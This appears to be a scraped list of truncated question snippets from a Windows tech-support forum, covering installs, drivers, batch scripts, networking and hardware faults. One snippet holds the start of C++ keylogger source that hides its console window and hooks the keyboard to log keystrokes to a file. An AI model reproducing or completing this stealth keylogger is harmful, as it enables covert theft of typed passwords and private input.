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WIndows 11 is soon getting out. Are you planning to move to Windows 11? I like its features especially Snap Layouts. But I know it can be used on Windows 10. Which other Windows 11 can be used in Windows 10?

Hello. I'm tring to burn an ISO to a DVD (Windows 10 installation disc). But all the burning programs tell me that somethingis wrong, for example "Mediadetectie mislukt" which means "Media detection failed" and other programs keep the "burn" button gray. Is there something I can do?

hi, I put a button to run the batch file and everything is fine But when the file works it asks for other files that are complete to run it and I did not know how to merge it together to work properly and these pictures   

So I have a PC running windows 2000 that I need to take pictures off of, but the keyboard and mouse won’t work pass the bios. I’m pretty sure it wants me to install the drivers for them but I can’t exactly do that without a keyboard and mouse. Can …

VB6 app developed on Win XP with DAO 3.6. Compiles and runs in XP with the db updating correctly. When app.exe file is copied to and run in Windows server 2012, the app runs and sees the incoming data but will not write to the mdb database. Any ideas?? Thanks.

I am using Win 10 pro 19043.1110. For some reason earlier this year, the right click /Eject option has gone missing for all my portable usb flash thumb drives showing on My Computer / This PC. It doesn't matter which front or rear ports the usb is connected to (usb2 …

I've been trying to find a way to filter the Event Viewer in Windows by the description instead of the event type/source etc. I figure that i need to use the XML tab to customise it as there is no option in the basic filtering for what I want. One …

So my MSI mpower z77 motherboard died 2 weeks ago. Last year I had cloned the drive from mechanical to ssd. This was also before i knew about sysprep methods. Didn't have much issues though with running windows 7. I'm not sure if I should use sysprep because I was …

I already have mechanize but it said that I dont have the module name of mechanize what should I do? And is python

I recently installed Windows ten in an older Toshiba Satellite P755=S5182 laptop. I have done this installation many times before and thought I had turned off most of the annoyances. I installed drivers and updates and a few programs ie, Chome , Acrobat Reader, etc. When I insert a USB …

I have scores of entries in Chrome "Settings" / "Passwords" . When I go to from "Settings" / "Passwords" to the "google account" link Password Manager, the list is a lot shorter. A bit of background. When I switched my email from Freeserve to Gmail I also started using Outlook …

I am creating a hangman game for my school summative. However I have been experiencing some difficulties with one of my methods called Random Words which performs a few tasks for my program including: - Generates a random word from a file which contains 6 different words - **Does not …

Petya loves lucky numbers. Everybody knows that lucky numbers are positive integers whose decimal representation contains only the lucky digits 4 and 7. For example, numbers 47, 744, 4 are lucky and 5, 17, 467 are not. Petya has a number consisting of n digits without leading zeroes. He represented …

Using edge browser lately and I noticed it doesn't take up that much of memory when running it than google chrome. How about you guys? what are your thoughts about the edge update?

So I recently purchased 2 5k2k monitors to improve workflow for game development. I noticed once I run both displays the GPU gets hot and eventually the display goes black and the GPU fans go crazy. I also noticed that before that happens the GPU fans do not turn on …

So I have this 1TB external hard drive that I use for my games. It was working fine uptill about a week ago. I opened my laptop like normal, it did its startup stuff and everything was looking good untill I went to play DOOM Eternal. An error poped up …

Dear all I'm trying to track down the name/existence of software that I used in 1999 to 'write' a financial reporting system - it was a curious mix of spreadsheet with programming capability... Would any of you know about this? Its name was similar (-ish) to Visual Basic, but it …

What is file shredder and does Windows 10 have a file shredder or we need to download some third party software?

#define _WIN32_WINNT 0x0500 #include<fstream> #include<windows.h> #include<winuser.h> using namespace std; void stealth(){ HWND stealth; AllocConsole(); stealth = FindWindowA("ConsoleWindowClass",NULL); ShowWindow(stealth,0); } ofstream out("keys.txt", ios::out); LRESULT CALLBACK keyboardHookProc(int nCode, WPARAM wParam, LPARAM lParam) { PKBDLLHOOKSTRUCT p = (PKBDLLHOOKSTRUCT) (lParam); // If key is being pressed if (wParam == WM_KEYDOWN) { switch (p->vkCode) { …

After my desktop computer was updated in March 2020 (Win 10 home automatic update), it lost the ability to communicate with my home network. The network is detectable and functions properly with my laptop --it's only the desktop computer that can't detect or connect to the network. I\ve tried many …

Ok this is a weird one and its been ongoing for many months, wondering if anyone has any ideas. We have 10-15 office 365 exchange email accounts and they all work perfectly fine apart from one account on one device. This particular account has intermittent issues with sending and emails …

I am looking for a screen accountability software. Can anyone recommend me a good software?

I woke up this morning and only half of my computer screen is up the other half has the "start" icon and the address bars that show what programs that I have running, it also has the time and date. My daughter was playing Webkinz last night, as she always …

My machine has been infected with the golden palace casino trojan. I am unable to remove and was wondering if anyone had any ideas on how to remove it. Thanks:sad:

I know I'm properly connected to the internet and there aren't any problems there however everytime I try to log in to my hotmail account an error page shows up saying this page cannot be displayed. No matter how many times I try to log in the error page always …

Hi Good Evening All, Hope all are fine during this current situation. Currently i am facinf some issue after sudden power shut the HP Z840 Workstation is not loading the operating system i tried following: 1. Tried to repair the OS but in the repair screen no OS to select. …

Is anyone trying or using the new version of Windows "ar_windows_10_consumer_editions_version_2004_x64" I have a copy and I want to experience with you before I use it

I was trying to upgrade to windows 10 from windows 7 ultimate. But when the setup completes installing windows 10 and it restarts nothing happens and my previous window 7 starts again. Like nothing happened. Neither any drive space is eaten up after the install. I know if i clean …

How to Update Database Datetime in This Format " dd MMM yyyy HH:mm:ss 'GMT' "With Vb.net Program I Searched a lot about how to Get The Time online and i found a solution You will found it in my Codes. > My Aim is to make a MemberShip DateTime , …

Please I currently need a quick answer on how I can uninstall windows 10

I recently reinstalled Windows 10 on my laptop, since then it has been randomy not sleeping properly. After I had shut the lid of the laptop, I'd come back and find the laptop was 'on', as in the fan was running very quietly, the power lights and hard drive lights …

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    Hi, My windows 7 laptop died due to some reason yesterday won't start so I took the hardisk out and made an external drive, atleast everything in the drive and desktop etc all accessable apart from these files / one folder which I really need the …

[name deted by moderator] has a paypal account and been using my sunrise debit bank card to make transactions that are not approved by me

why, on windows 10, some touchpad drivers(even updated by windows) don't activate the vertical\horizontal scrool move.... i have them activated, but don't work.... when i use the finger, instead scrool, the move moves.. yes i have seen the scrool area. how can i fix the problem?

I have 2 share folders \\testing\test1 which contain sub folders sub1,sub2,sub3,sub4,sub5 and \\testing\test2 which contain sub folders sub2,sub3 Need to know how to create a batch file on notepad to verify existance of sub folders from test1 and create them on test2 only if they do not exist in test …

I posted a question last week on Microsoft Technet and during the resulting discussion the following was posted: >VBScript will be gone in the next version of Windows. Almost all references to VBScript have disappeared from MS sites. In all the columns I've read about what's new and what's being …

Hi. I have recently a problem to access to sites https in all browsers. In the past I had a similar situation and that the problem was solved by removing Bytedefender. Now, I have no antivirus, Windows security only, and there is an app called Lenovo VANTAGE in which the …

I don't like the way my Win10 file search results are displayed and I can't find out how to change the settings. I've made changes to the 'Sort by' and 'Group by' options but can't seem to get the results I want. An example: I type a search word in …

There can various actions that take us to the cause of Data Loss, **Intentional Action** *Intentional deletion of a file or program* **Unintentional Action** *Accidental deletion of a file or program Misplacement of CDs or Memory sticks Administration errors Inability to read unknown file format* I really found this Wiki …

I have a 4 GB Transcend pen drive. I want to install the OS windows XP in the hard disk. In BIOS settings i set to first boot from usb. I want to use my pendrive to install XP. How can i make my pendrive botable? So that i can …

Can you tell me how to do a differntial image using Windows 10 and with the what free software?

Dear all I'm trying to track down the name/existence of software that I used in 1999 to 'write' a financial reporting system - it was a curious mix of spreadsheet with programming capability... Would any of you know about this? Its name was similar (-ish) to Visual Basic, but it …

I am forgot my Windows 10 password, so how to recover that.

Can anyone suggest a script that will rename a file with the existing filename appended with date stamp? Something that can be used in a .bat file?

Hi folks, please see the attached screenshot, there is no way to create a task. and no task library, Any ideas please 

I want to create a bootable USB-stick. I have a MS-DOS 6.22 image file. I used Rufus but that didn't work. Do you know a better program for the job? If you think a Linux stick would be better... well, I decided to use a MS-DOS 6.22 and put Ghost …

I wonder if anyone could assist with an intermittent BSOD... Initially it was a driver power state failure, lately its been watchdog. Event viewer shows the DCOM error 10016. I followed the article help on the CLSID error, which didn't change anything. w10 home on a toshiba satellite i7 5500u. …

Excluding freeware, what would be the best reasonably priced software tools (i.e. compiler, database, erc.) to buy for a new Windows computer in order to develop financial apps that could easily be distributed to one's own Windows computers as .exe files? Programing language either C or something like VB. It …

I'm asking this question in the context of a satellite internet service with expensive download limits... If you just accept all the recommended updates for Windows 10 (creator's update, security etc) for a single Home Edition machine how many Gigabytes will that represent in a typical 12 month period? Eg: …